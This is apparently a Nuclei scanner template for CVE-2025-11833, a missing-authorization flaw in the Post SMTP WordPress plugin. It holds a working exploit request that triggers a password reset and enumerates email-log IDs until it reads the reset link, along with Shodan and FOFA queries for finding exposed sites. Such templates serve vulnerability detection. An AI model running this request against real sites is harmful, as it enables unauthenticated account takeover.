id: CVE-2025-11833 info: name: Post SMTP <= 3.6.0 - Email Log Disclosure author: Kazgangap severity: critical description: | Post SMTP WordPress plugin <= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication. impact: | Unauthenticated attackers can read sensitive logged emails, including password reset links, potentially leading to account takeover. remediation: | Update to the latest version beyond 3.6.0 reference: - https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11833.md - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/post-smtp/post-smtp-complete-smtp-solution-with-logs-alerts-backup-smtp-mobile-app-360-missing-authorization-to-account-takeover-via-unauthenticated-email-log-disclosure - https://nvd.nist.gov/vuln/detail/CVE-2025-11833 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-11833 epss-score: 0.51005 epss-percentile: 0.9882 cwe-id: CWE-862 cpe: cpe:2.3:a:wpexperts:post_smtp_mailer:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wpexperts product: post_smtp_mailer framework: wordpress shodan-query: http.html:/wp-content/plugins/post-smtp fofa-query: body=/wp-content/plugins/post-smtp tags: cve,cve2025,wp,wp-plugin,wordpress,post-smtp,exposure,vkev,fuzz variables: username: "{{username}}" http: - raw: - | POST /wp-login.php?action=lostpassword&page=postman_email_log&view=log&log_id={{log_id}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 user_login={{username}}&redirect_to=&wp-submit=Get+New+Password payloads: log_id: helpers/wordlists/numbers.txt stop-at-first-match: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains_all(body, "your password, visit the following address:", "key=", "Username: {{username}}")' condition: and # digest: 4a0a004730450220263e15495a14a8bedc6164cd72ab4870ac18533c57bd033338541f48aa907d97022100f104ebd6a79bcff9c5c8438a5347d52d1d4ec43c4a9b8ecde1543c0d7627895f:922c64590222798bb761d5b6d8e72950